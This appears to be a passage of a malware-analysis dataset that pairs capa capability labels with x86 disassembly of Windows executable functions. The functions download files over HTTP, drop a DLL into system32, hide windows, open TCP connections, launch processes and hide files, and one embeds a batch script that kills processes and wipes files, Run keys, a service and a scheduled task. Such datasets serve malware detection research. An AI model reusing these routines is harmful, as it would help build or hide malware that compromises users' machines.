joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402feb
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x80000000
push dword [0x405040]
call fcn.004034f0
mov edi, eax
cmp edi, 0xffffffff
pop ecx
pop ecx
jne 0x403012
xor eax, eax
jmp 0x4030f3
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 4], ebx
call fcn.00403516
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push esi
call fcn.00402fb5
test eax, eax
pop ecx
pop ecx
je 0x4030d2
mov edx, dword [eax + esi + 4]
lea edi, [eax + esi]
mov ecx, dword [edi]
push ecx
push edx
lea eax, [eax + esi + 8]
push eax
call fcn.00402f88
add esp, 0xc
mov dword [edi], eax
push dword [0x405040]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov edi, 0x40000000
push edi
push dword [0x405040]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x405040]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
push dword [0x405040]
call fcn.004034f0
mov ebx, eax
cmp ebx, 0xffffffff
pop ecx
pop ecx
jne 0x4030d6
xor eax, eax
jmp 0x4030f1
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret

Function at 0x4030f6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.qmopt.dll
lea eax, [ebp - 0x100]
push eax
push str._s_system32_s
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
leave
ret

Function at 0x403130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.004030f6
pop ecx
xor esi, esi
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403171
xor eax, eax
jmp 0x403196
push esi
lea eax, [ebp - 4]
push eax
push 0x2d4
push 0x405050
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], esi
setne al
pop edi
pop esi
leave
ret
Function at 0x40319a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.004030f6
mov edi, 0x2d4
push edi
xor ebx, ebx
push ebx
mov esi, 0x405050
push esi
call fcn.00403ccd
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403209
push ebx
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 8], ebx
push dword [ebp - 4]
jne 0x40320d
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40321b
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00403130
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40326d
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40327c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x403565
Capabilities:
Create http request
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00401000
push ebx
push esi
push edi
xor esi, esi
push 0x404364
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
call fcn.004019e3
pop ecx
mov edi, eax
push edi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push edi
mov dword [ebp - 0xc], eax
call fcn.0040352a
pop ecx
push esi
push esi
push esi
push esi
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x84000100
push esi
push esi
push dword [ebp + 8]
mov edi, eax
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp edi, esi
mov ebx, eax
je 0x403672
cmp ebx, esi
je 0x403672
cmp edi, 0xffffffff
je 0x403672
cmp ebx, 0xffffffff
je 0x403672
mov edi, dword [ebp + 0xc]
cmp edi, esi
je 0x403618
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1014]
push eax
push ebx
call dword [ebp - 0xc]
cmp edi, esi
je 0x40364d
cmp dword [ebp - 4], esi
jbe 0x403652
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 4], esi
ja 0x403618
cmp edi, esi
je 0x40365f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x403674
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ad1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea ecx, [ebp - 8]
call fcn.00401d3b
lea eax, [ebp - 0xc]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403b5d
push 0x7f
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x4043b8
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x200
mov dword [ebp - 0x10], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
push ecx
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00401d8c
lea ecx, [ebp - 8]
call fcn.00401edc
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.00401d5c
lea ecx, [ebp - 8]
call fcn.00401dbd
mov eax, dword [ebp + 8]
pop edi
leave
ret

Function at 0x403d00
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebp, str.System32_
push ebp
call edi
mov esi, dword [esp + 0x1c]
push esi
mov dword [esp + 0x14], eax
call fcn.00403516
pop ecx
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push ebx
call edi
sub esi, dword [esp + 0x10]
cmp eax, esi
jg 0x403d4d
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
call fcn.0040352a
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x403da0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
push 0x404364
mov dword [ebp - 4], ebx
call fcn.004019e3
pop ecx
mov esi, eax
push esi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
mov dword [ebp - 8], eax
call fcn.0040352a
cmp dword [ebp - 8], ebx
pop ecx
je 0x403eba
push ebx
push ebx
push ebx
push ebx
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000100
push ebx
push ebx
push dword [ebp + 8]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, ebx
mov dword [ebp - 0x10], eax
je 0x403eab
cmp eax, ebx
je 0x403eab
cmp esi, 0xffffffff
je 0x403eab
cmp eax, 0xffffffff
je 0x403eab
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
push edi
push eax
xor esi, esi
mov dword [ebp - 0x14], eax
call fcn.00403516
mov edi, dword [ebp + 0xc]
pop ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
sub eax, esi
mov ecx, 0x8000
cmp eax, ecx
jbe 0x403e53
mov eax, ecx
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [ebp - 8]
push dword [ebp - 4]
lea eax, [esi + edi]
push dword [ebp - 0xc]
push eax
call fcn.00403cab
add esi, dword [ebp - 4]
add esp, 0xc
cmp dword [ebp - 4], ebx
jne 0x403e86
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 4], ebx
ja 0x403e43
cmp dword [ebp + 0x14], ebx
jne 0x403e90
mov byte [esi + edi], bl
mov eax, dword [ebp + 0x10]
push dword [ebp - 0x10]
mov dword [eax], esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x18]
call esi
xor eax, eax
inc eax
pop edi
jmp 0x403ebc
cmp dword [ebp + 0x14], ebx
jne 0x403eb5
mov eax, dword [ebp + 0xc]
mov byte [eax], bl
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x468b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004689b3

Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xfffffffffffffff0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
and ecx, 0xc00000
jne 0x401022
xor eax, eax
jmp 0x40107e
mov edx, dword [ebp - 4]
and edx, 0xff3fffff
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 5
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 4]
and ecx, 0x1000000
je 0x401079
push 9
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401240
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], str.Visual_Studio_Code
mov dword [ebp - 0xc], str.Visual_Studio_Code___Insiders
mov dword [ebp - 0x1c], 2
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x20], ecx
cmp dword [ebp + 8], 1
jle 0x401287
mov edx, dword [ebp + 8]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp + 0xc]
add eax, 4
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x20]
push ecx
push 0x401090
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [ebp - 0x18], 0
jne 0x40130a
push str.ERROR:_No_windows_found_matching_suffix_es_:
call fcn.00401350
add esp, 4
mov dword [ebp - 4], 0
jmp 0x4012bb
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
jge 0x4012f6
cmp dword [ebp - 4], 0
jle 0x4012d2
mov dword [ebp - 8], 0x41908c
jmp 0x4012d9
mov dword [ebp - 8], 0x419950
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + ecx*4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push str._s__s_
call fcn.00401350
add esp, 0xc
jmp 0x4012b2
push 0x419098
call fcn.00401350
add esp, 4
mov eax, 1
jmp 0x40130c
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001490
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025dad
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [ebp - 0x1a4]
add ecx, 4
call fcn.10001000
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x1a4]
add ecx, 0x14
call fcn.10001000
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a4]
add ecx, 0x24
call fcn.10001000
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1a4]
add ecx, 0x34
call fcn.10001000
mov eax, dword [ebp - 0x1a4]
mov dword [eax], 0x100274f0
lea ecx, [ebp - 0x19c]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [ebp - 0x1a4]
mov dword [edx + 0x4c], eax
mov eax, dword [ebp - 0x1a4]
mov byte [eax + 0x53], 0
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx + 0x48], 0xffffffff
mov byte [ebp - 0x1a0], 0x68
mov byte [ebp - 0x19f], 0x78
mov byte [ebp - 0x19e], 0x20
push 3
lea edx, [ebp - 0x1a0]
push edx
mov eax, dword [ebp - 0x1a4]
add eax, 0x50
push eax
call fcn.10011610
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10001652
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
call fcn.10001c6f
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x2c]
mov byte [edx + 0x53], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x48], eax
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 0x48], 0xffffffff
jne 0x10001699
xor al, al
jmp 0x10001783
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x100016ba
xor al, al
jmp 0x10001783
mov word [ebp - 0x14], 2
mov cx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 0x10], edx
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100016fb
xor al, al
jmp 0x10001783
mov dword [ebp - 4], 1
push 4
lea eax, [ebp - 4]
push eax
push 8
push 0xffff
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001759
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0x2bf20
mov dword [ebp - 0x20], 0x1388
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0xc
lea ecx, [ebp - 0x28]
push ecx
push 0x98000004
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x48]
push eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 0x2c]
mov byte [ecx + 0x53], 1
push 0
push 0
push 0
mov edx, dword [ebp - 0x2c]
push edx
push 0x10001789
push 0
push 0
call fcn.100107b2
add esp, 0x1c
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 0x44], eax
mov al, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x10001c6f
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov word [ebp - 4], 1
mov word [ebp - 2], 0
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xffff
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
mov edx, dword [ebp - 8]
add edx, 0x53
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x48]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x48], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x10001ec7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10001e7c
add esp, 8
mov dword [ebp - 0xc], 0
mov edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x10001f13
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x10]
jb 0x10001f85
mov dword [ebp - 0x18], 0
jmp 0x10001f2d
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jge 0x10001f59
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x10001f57
jmp 0x10001f59
jmp 0x10001f24
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jne 0x10001f69
or eax, 0xffffffff
jmp 0x10001fef
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001f0a
cmp dword [ebp - 4], 0
jle 0x10001fdf
mov dword [ebp - 0x1c], 0
jmp 0x10001f9d
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jge 0x10001fc9
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x10001fc7
jmp 0x10001fc9
jmp 0x10001f94
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x10001fd6
or eax, 0xffffffff
jmp 0x10001fef
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp + 0xc]
jne 0x10001fec
mov eax, dword [ebp - 0x14]
jmp 0x10001fef
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10002152
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0
push 0x1002e9d4
call fcn.100122a7
add esp, 8
cmp eax, 0xffffffff
je 0x100021ff
push 0x1002e9f0
mov eax, dword [ebp + 8]
push eax
call fcn.10012294
add esp, 8
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
push ecx
push 0x400
lea edx, [ebp - 0x100]
push edx
call fcn.10012201
add esp, 0xc
test eax, eax
je 0x100021bf
lea eax, [ebp - 0x100]
push eax
push 0x1002e9f4
call fcn.100121c0
add esp, 8
jmp 0x1000218a
push 0x1002e9f8
call fcn.100121c0
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x100]
push edx
call fcn.100120e0
add esp, 8
push 0
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 0x104]
push ecx
call fcn.10012046
add esp, 4
jmp 0x1000220c
push 0x1002e9fc
call fcn.10003a76
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10002301
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10002342
xor eax, eax
jmp 0x100023a2
mov edx, 1
test edx, edx
je 0x10002392
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000236b
jmp 0x10002392
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.100122f0
add esp, 8
test eax, eax
jne 0x10002390
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x130], ecx
jmp 0x10002392
jmp 0x10002342
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov esp, ebp
pop ebp
ret

Function at 0x1000241c
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
and eax, 0xff
test eax, eax
je 0x10002439
push 6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x10002448
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop ebp
ret
Function at 0x1000283e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 4], 0
mov dword [ebp - 8], 1
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10002875
xor al, al
jmp 0x100028b0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0x100028a9
cmp dword [ebp - 0xc], 0xea
jne 0x100028ad
mov byte [ebp - 4], 1
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003a13
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10003a43
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0x874
push str._echo_off_2_nul_3_nul_r_ntaskkill__im_rundll32.exe__f_r_ntaskkill__im_rundll32.exe__f_r_ntaskkill__im_iXXX3XXX.exe__f_r_ntaskkill__im_rundll32.exe__f_r_ntaskkill__im_rundll32.exe__f_r_ntaskkill__im_iXXX3XXX.exe__f_r_ntaskkill__im_iXXX3XXX.exe__f_r_n_r_nAttrib_C:xxxx.INST.INI__s__h__r__a_r_nAttrib_C:ProgramDataxxxxxxx.rar__s__h__r__a_r_nAttrib_C:ProgramDataxxx.rar__s__h__r__a_r_nAttrib_C:xx.exe__s__h__r__a_r_nAttrib_C:MicrosoftiXXX3XXX.dat__s__h__r__a_r_nAttrib_C:Microsoftxxxxxxxx.exe__s__h__r__a_r_nAttrib_C:MicrosoftXXXXX.xml__s__h__r__a_r_n_r_nAttrib_C:ProgramDataMicrosoftxxxxxxxx.dat__s__h__r__a_r_nAttrib_C:ProgramDataMicrosoftiXXX3XXX.exe__s__h__r__a_r_nAttrib_C:ProgramDataMicrosoftXXXXX.xml__s__h__r__a_r_n_r_nAttrib_C:MicrosoftProgramxxxxxx.jpg__s__h__r__a_r_nAttrib_C:MicrosoftProgramxxxxxx1.jpg__s__h__r__a_r_n_r_ndel___F__Q__A__inst.ini__r_ndel___F__Q__A__c:xxxx.ini__r_ndel___F__Q__A__C:ProgramDataxxxxxxx.ini__r_ndel___F__Q__A__C:ProgramDataxxxxxxx.rar__r_ndel___F__Q__A__C:ProgramDataxxxxxxx.rar1__r_ndel___F__Q__A__C:ProgramDataxxx.rar__r_ndel___F__Q__A__C:ProgramDataxxxxxxx.exe__r_ndel___F__Q__A__C:ProgramDataupx.exe__r_ndel___F__Q__A__C:xx.exe__r_ndel___F__Q__A__C:MicrosoftProgramxxxxxx.jpg__r_ndel___F__Q__A__C:MicrosoftProgramxxxxxx1.jpg__r_n_r_ndel___F__Q__A__C:Microsoftxxxxxxxx.exe__r_ndel___F__Q__A__C:MicrosoftiXXX3XXX.dat__r_ndel___F__Q__A__C:MicrosoftXXXXX.xml__r_n_r_ndel___F__Q__A__C:ProgramDataMicrosoftiXXX3XXX.exe__r_ndel___F__Q__A__C:ProgramDataMicrosoftxxxxxxxx.dat__r_ndel___F__Q__A__C:ProgramDataMicrosoftXXXXX.xml__r_n_r_ndel___F__Q__A__C:xxxx.INST.INI__r_ndel___F__Q__A__C:MicrosoftEdgeUpdateLogchuangkou.log__r_ndel___F__Q__A__C:MicrosoftEdgeUpdateLoglog.log__r_ndel___F__Q__A__C:MicrosoftEdgeUpdateLogENDProxy.bat__r_ndel___F__Q__A__C:del__r_ndel___F__Q__A__C:_tzfz__r_ndel___F__Q__A__C:end.ini__r_ntaskkill__im_rundll32.exe__f_r_ntaskkill__im_iXXX3XXX.exe__f_r_n_r_nreg_delete_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun__v_XXX3XXX__f_r_nreg_delete_HKEY_LOCAL_MACHINESYSTEMCurrentControlSet_servicesSauron__va__f_r_nreg_delete_HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesSauron__va__f_r_nschtasks__delete__tn___f_r_nexitC:xxx.exe
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003a65
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
